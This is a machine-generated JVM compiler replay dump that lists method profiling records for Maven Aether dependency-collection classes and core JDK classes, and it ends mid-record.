0 0 data 7 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/Collections emptyMap ()Ljava/util/Map; 2 50836 orig 320 144 166 201 142 252 127 0 0 104 49 151 8 182 1 0 0 88 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 153 44 6 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 4 0x0 0x0 0x9 0x0 oops 0 methods 0\nciMethodData java/lang/StringLatin1 compareToCI ([B[B)I 2 55311 orig 320 144 166 201 142 252 127 0 0 208 134 144 8 182 1 0 0 224 2 0 0 64 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 24 0 0 57 20 0 0 81 0 6 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 17 0 2 0 0 0 0 0 0 0 88 1 0 0 254 255 255 255 2 0 8 0 0 0 0 0 data 53 0x80002 0x287 0x140007 0x18e 0x148 0xc102 0x1f0007 0xbf8f 0x110 0x173 0x280002 0x173 0x2b0005 0x0 0x0 0x1b6175094c0 0x173 0x0 0x0 0x370002 0x173 0x3a0005 0x0 0x0 0x1b6175094c0 0x173 0x0 0x0 0x440007 0x7a 0x60 0xf9 0x490002 0xf9 0x500002 0xf9 0x590007 0x0 0x20 0xf9 0x650003 0xc009 0xfffffffffffffed0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 2 15 java/lang/CharacterDataLatin1 24 java/lang/CharacterDataLatin1 methods 0\nciMethod org/eclipse/aether/impl/RemoteRepositoryManager aggregateRepositories (Lorg/eclipse/aether/RepositorySystemSession;Ljava/util/List;Ljava/util/List;Z)Ljava/util/List; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate collectStepTrace (Lorg/eclipse/aether/RequestTrace;Ljava/lang/String;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/RequestTrace; 665 1 2039 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createDependencyNode (Ljava/util/List;Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/version/Version;Lorg/eclipse/aether/graph/Dependency;Ljava/util/Collection;Ljava/util/List;Ljava/lang/String;)Lorg/eclipse/aether/graph/DefaultDependencyNode; 665 1 2945 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createDependencyNode (Ljava/util/List;Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/version/Version;Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/ArtifactDescriptorResult;Lorg/eclipse/aether/graph/DependencyNode;)Lorg/eclipse/aether/graph/DefaultDependencyNode; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createArtifactDescriptorRequest (Ljava/lang/String;Lorg/eclipse/aether/RequestTrace;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 665 1 2945 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate createVersionRangeRequest (Ljava/lang/String;Lorg/eclipse/aether/RequestTrace;Ljava/util/List;Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 665 1 2039 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate cachedResolveRangeResult (Lorg/eclipse/aether/resolution/VersionRangeRequest;Lorg/eclipse/aether/internal/impl/collect/DataPool;Lorg/eclipse/aether/RepositorySystemSession;)Lorg/eclipse/aether/resolution/VersionRangeResult; 665 1 2040 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate isLackingDescriptor (Lorg/eclipse/aether/artifact/Artifact;)Z 673 1 2066 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate getRemoteRepositories (Lorg/eclipse/aether/repository/ArtifactRepository;Ljava/util/List;)Ljava/util/List; 665 1 2945 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate filterVersions (Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext;)Ljava/util/List; 673 1 2971 0 0\nciMethod org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector process (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;)V 1281 6169 1672 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector processDependency (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Ljava/util/List;Z)V 2073 665 5658 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector doRecurse (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/RequestTrace;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/ArtifactDescriptorResult;Lorg/eclipse/aether/graph/DefaultDependencyNode;)V 593 1 2702 0 0\nciMethod org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector getArtifactDescriptorResult (Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;ZLorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest;)Lorg/eclipse/aether/resolution/ArtifactDescriptorResult; 665 1 2945 0 0\nciMethod org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector resolveCachedArtifactDescriptor (Lorg/eclipse/aether/internal/impl/collect/DataPool;Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest;Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results;Lorg/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args;)Lorg/eclipse/aether/resolution/ArtifactDescriptorResult; 665 1 3081 0 -1\nciMethod org/eclipse/aether/impl/VersionRangeResolver resolveVersionRange (Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 0 0 1 0 -1\nciMethod org/apache/maven/repository/internal/DefaultVersionRangeResolver resolveVersionRange (Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2049 1 1597 0 0\nciMethod org/apache/maven/repository/internal/DefaultVersionRangeResolver getVersions (Lorg/eclipse/aether/RepositorySystemSession;Lorg/eclipse/aether/resolution/VersionRangeResult;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Ljava/util/Map; 0 0 1 0 -1\nciMethod org/eclipse/aether/version/VersionScheme parseVersionConstraint (Ljava/lang/String;)Lorg/eclipse/aether/version/VersionConstraint; 0 0 1 0 -1\nciMethod org/eclipse/aether/RequestTrace newChild (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 2057 1 9435 0 0\nciMethod org/eclipse/aether/RequestTrace <init> (Ljava/lang/Object;)V 553 1 174 0 0\nciMethod org/eclipse/aether/RequestTrace <init> (Lorg/eclipse/aether/RequestTrace;Ljava/lang/Object;)V 2049 1 10306 0 0\nciMethod org/eclipse/aether/RequestTrace newChild (Ljava/lang/Object;)Lorg/eclipse/aether/RequestTrace; 2057 1 10130 0 0\nciMethod org/eclipse/aether/artifact/Artifact getGroupId ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getArtifactId ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getVersion ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact setVersion (Ljava/lang/String;)Lorg/eclipse/aether/artifact/Artifact; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getClassifier ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getExtension ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getFile ()Ljava/io/File; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getProperty (Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact getProperties ()Ljava/util/Map; 0 0 1 0 -1\nciMethod org/eclipse/aether/artifact/Artifact setProperties (Ljava/util/Map;)Lorg/eclipse/aether/artifact/Artifact; 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencySelector selectDependency (Lorg/eclipse/aether/graph/Dependency;)Z 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencySelector deriveChildSelector (Lorg/eclipse/aether/collection/DependencyCollectionContext;)Lorg/eclipse/aether/collection/DependencySelector; 0 0 1 0 -1\nciMethod org/eclipse/aether/graph/DependencyNode getChildren ()Ljava/util/List; 0 0 1 0 -1\nciMethod org/eclipse/aether/graph/DependencyNode getDependency ()Lorg/eclipse/aether/graph/Dependency; 0 0 1 0 -1\nciMethod org/eclipse/aether/graph/DependencyNode getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 0 0 1 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult <init> (Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest;)V 681 1 3130 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getRelocations ()Ljava/util/List; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getAliases ()Ljava/util/Collection; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getDependencies ()Ljava/util/List; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getManagedDependencies ()Ljava/util/List; 1025 1 128 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorResult getRepositories ()Ljava/util/List; 1025 1 128 0 -1\nciMethod org/eclipse/aether/graph/Dependency <init> (Lorg/eclipse/aether/artifact/Artifact;Ljava/lang/String;Ljava/lang/Boolean;Ljava/util/Collection;)V 3313 1 9224 0 -1\nciMethod org/eclipse/aether/graph/Dependency <init> (Lorg/eclipse/aether/artifact/Artifact;Ljava/lang/String;Ljava/util/Set;Ljava/lang/Boolean;)V 2545 1 5459 0 992\nciMethod org/eclipse/aether/graph/Dependency getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1065 1 133 0 0\nciMethod org/eclipse/aether/graph/Dependency setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/graph/Dependency; 2049 1 6583 0 0\nciMethod org/eclipse/aether/graph/Dependency getScope ()Ljava/lang/String; 1033 1 129 0 0\nciMethod org/eclipse/aether/graph/Dependency setScope (Ljava/lang/String;)Lorg/eclipse/aether/graph/Dependency; 905 1 1099 0 0\nciMethod org/eclipse/aether/graph/Dependency isOptional ()Z 2081 1 13657 0 -1\nciMethod org/eclipse/aether/graph/Dependency setOptional (Ljava/lang/Boolean;)Lorg/eclipse/aether/graph/Dependency; 953 1 1087 0 -1\nciMethod org/eclipse/aether/graph/Dependency getExclusions ()Ljava/util/Collection; 1313 1 164 0 0\nciMethod org/eclipse/aether/graph/Dependency setExclusions (Ljava/util/Collection;)Lorg/eclipse/aether/graph/Dependency; 97 1 20 0 0\nciMethod org/eclipse/aether/graph/Dependency hasEquivalentExclusions (Ljava/util/Collection;)Z 97 1 20 0 -1\nciMethod org/eclipse/aether/repository/RemoteRepository getUrl ()Ljava/lang/String; 1025 1 128 0 -1\nciMethod org/eclipse/aether/repository/RemoteRepository getPolicy (Z)Lorg/eclipse/aether/repository/RepositoryPolicy; 1377 1 20136 0 -1\nciMethod org/eclipse/aether/repository/RemoteRepository getMirroredRepositories ()Ljava/util/List; 1025 1 128 0 -1\nciMethod org/eclipse/aether/repository/RemoteRepository isRepositoryManager ()Z 1025 1 128 0 -1\nciMethod org/eclipse/aether/repository/RepositoryPolicy isEnabled ()Z 1057 1 132 0 -1\nciMethod org/eclipse/aether/resolution/VersionRangeRequest <init> ()V 1689 1 2177 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest getArtifact ()Lorg/eclipse/aether/artifact/Artifact; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2049 1 2589 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest getRepositories ()Ljava/util/List; 1025 1 128 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest setRepositories (Ljava/util/List;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2049 1 2589 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest setRequestContext (Ljava/lang/String;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2049 1 2589 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeRequest setTrace (Lorg/eclipse/aether/RequestTrace;)Lorg/eclipse/aether/resolution/VersionRangeRequest; 2049 1 2589 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult <init> (Lorg/eclipse/aether/resolution/VersionRangeRequest;)V 2049 1 2589 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult addException (Ljava/lang/Exception;)Lorg/eclipse/aether/resolution/VersionRangeResult; 0 0 1 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult getVersions ()Ljava/util/List; 1025 1 128 0 -1\nciMethod org/eclipse/aether/resolution/VersionRangeResult addVersion (Lorg/eclipse/aether/version/Version;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2049 1 3092 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult getRepository (Lorg/eclipse/aether/version/Version;)Lorg/eclipse/aether/repository/ArtifactRepository; 1145 1 4483 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult setRepository (Lorg/eclipse/aether/version/Version;Lorg/eclipse/aether/repository/ArtifactRepository;)Lorg/eclipse/aether/resolution/VersionRangeResult; 9913 1 1495 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResult getVersionConstraint ()Lorg/eclipse/aether/version/VersionConstraint; 1025 1 128 0 -1\nciMethod org/eclipse/aether/resolution/VersionRangeResult setVersionConstraint (Lorg/eclipse/aether/version/VersionConstraint;)Lorg/eclipse/aether/resolution/VersionRangeResult; 2049 1 1917 0 0\nciMethod org/eclipse/aether/resolution/VersionRangeResolutionException <init> (Lorg/eclipse/aether/resolution/VersionRangeResult;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/resolution/VersionRangeResolutionException <init> (Lorg/eclipse/aether/resolution/VersionRangeResult;Ljava/lang/String;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/resolution/VersionRangeResolutionException <init> (Lorg/eclipse/aether/resolution/VersionRangeResult;Ljava/lang/String;Ljava/lang/Throwable;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/CollectRequest getRequestContext ()Ljava/lang/String; 1033 1 129 0 0\nciMethod org/eclipse/aether/collection/CollectResult getExceptions ()Ljava/util/List; 369 1 46 0 -1\nciMethod org/eclipse/aether/collection/CollectResult addException (Ljava/lang/Exception;)Lorg/eclipse/aether/collection/CollectResult; 0 0 1 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorRequest <init> ()V 1745 1 3109 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorRequest setArtifact (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 1785 1 3129 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorRequest setRepositories (Ljava/util/List;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 1785 1 3129 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorRequest setRequestContext (Ljava/lang/String;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 1785 1 3129 0 -1\nciMethod org/eclipse/aether/resolution/ArtifactDescriptorRequest setTrace (Lorg/eclipse/aether/RequestTrace;)Lorg/eclipse/aether/resolution/ArtifactDescriptorRequest; 1785 1 3129 0 -1\nciMethod org/eclipse/aether/collection/VersionFilter filterVersions (Lorg/eclipse/aether/collection/VersionFilter$VersionFilterContext;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/VersionFilter deriveChildFilter (Lorg/eclipse/aether/collection/DependencyCollectionContext;)Lorg/eclipse/aether/collection/VersionFilter; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext set (Lorg/eclipse/aether/graph/Dependency;Lorg/eclipse/aether/resolution/VersionRangeResult;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext get ()Ljava/util/List; 0 0 1 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/PremanagedDependency <init> (Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;Ljava/util/Collection;Ljava/util/Map;ILorg/eclipse/aether/graph/Dependency;Z)V 1697 1 2073 0 0\nciMethod org/eclipse/aether/internal/impl/collect/PremanagedDependency create (Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/graph/Dependency;ZZ)Lorg/eclipse/aether/internal/impl/collect/PremanagedDependency; 665 1 2039 0 0\nciMethod org/eclipse/aether/internal/impl/collect/PremanagedDependency getManagedDependency ()Lorg/eclipse/aether/graph/Dependency; 1041 1 109 0 0\nciMethod org/eclipse/aether/internal/impl/collect/PremanagedDependency applyTo (Lorg/eclipse/aether/graph/DefaultDependencyNode;)V 2049 1 3081 0 -1\nciMethod org/eclipse/aether/version/Version toString ()Ljava/lang/String; 0 0 1 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode <init> (Lorg/eclipse/aether/graph/Dependency;)V 2049 1 3108 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode getChildren ()Ljava/util/List; 1025 1 128 0 0\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setChildren (Ljava/util/List;)V 401 1 1191 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setRelocations (Ljava/util/List;)V 2049 1 3108 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setAliases (Ljava/util/Collection;)V 2049 1 3108 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setVersionConstraint (Lorg/eclipse/aether/version/VersionConstraint;)V 1033 1 129 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setVersion (Lorg/eclipse/aether/version/Version;)V 1033 1 129 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setRepositories (Ljava/util/List;)V 2049 1 3127 0 -1\nciMethod org/eclipse/aether/graph/DefaultDependencyNode setRequestContext (Ljava/lang/String;)V 2049 1 3563 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DataPool intern (Lorg/eclipse/aether/artifact/Artifact;)Lorg/eclipse/aether/artifact/Artifact; 665 1 2948 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool intern (Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/graph/Dependency; 665 1 2948 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool toKey (Lorg/eclipse/aether/resolution/VersionRangeRequest;)Ljava/lang/Object; 1689 1 2177 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool getConstraint (Ljava/lang/Object;Lorg/eclipse/aether/resolution/VersionRangeRequest;)Lorg/eclipse/aether/resolution/VersionRangeResult; 1697 1 2177 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool putConstraint (Ljava/lang/Object;Lorg/eclipse/aether/resolution/VersionRangeResult;)V 1201 1 1586 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DataPool toKey (Lorg/eclipse/aether/artifact/Artifact;Ljava/util/List;Lorg/eclipse/aether/collection/DependencySelector;Lorg/eclipse/aether/collection/DependencyManager;Lorg/eclipse/aether/collection/DependencyTraverser;Lorg/eclipse/aether/collection/VersionFilter;)Ljava/lang/Object; 1625 1 2817 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DataPool getChildren (Ljava/lang/Object;)Ljava/util/List; 1625 1 2817 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DataPool putChildren (Ljava/lang/Object;Ljava/util/List;)V 1225 1 1626 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DefaultDependencyCollectionContext set (Lorg/eclipse/aether/graph/Dependency;Ljava/util/List;)V 1625 1 2817 0 -1\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results addException (Lorg/eclipse/aether/graph/Dependency;Ljava/lang/Exception;Ljava/util/List;)V 0 0 1 0 0\nciMethod org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results addCycle (Ljava/util/List;ILorg/eclipse/aether/graph/Dependency;)V 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencyManager manageDependency (Lorg/eclipse/aether/graph/Dependency;)Lorg/eclipse/aether/collection/DependencyManagement; 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencyManager deriveChildManager (Lorg/eclipse/aether/collection/DependencyCollectionContext;)Lorg/eclipse/aether/collection/DependencyManager; 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencyTraverser traverseDependency (Lorg/eclipse/aether/graph/Dependency;)Z 0 0 1 0 -1\nciMethod org/eclipse/aether/collection/DependencyTraverser deriveChildTraverser (Lorg/eclipse/aether/collection/DependencyCollectionContext;)Lorg/eclipse/aether/collection/DependencyTraverser; 0 0 1 0 -1\nciMethodData java/util/ArrayList isEmpty ()Z 2 41825 orig 320 144 166 201 142 252 127 0 0 40 59 162 8 182 1 0 0 160 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 9 19 5 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 13 0x40007 0x50d1 0x38 0x5190 0x80003 0x5190 0x18 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/Collections$UnmodifiableMap get (Ljava/lang/Object;)Ljava/lang/Object; 2 5514 orig 320 144 166 201 142 252 127 0 0 104 59 163 8 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 15 1 0 0 217 163 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 5 0 0 0 0 0 data 17 0x50005 0x32d 0x0 0x1b613a66640 0x4c5 0x1b612935580 0xc89 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 2 3 java/util/LinkedHashMap 5 java/util/HashMap methods 0\nciMethodData java/lang/Integer parseInt (Ljava/lang/String;)I 2 7175 orig 320 144 166 201 142 252 127 0 0 144 137 138 8 182 1 0 0 144 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 30 0 0 0 73 223 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 3 0 0 0 0 0 data 11 0x30002 0x1be9 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0xffffffffffffffff oops 0 methods 0\nciMethod org/eclipse/aether/artifact/DefaultArtifact <init> 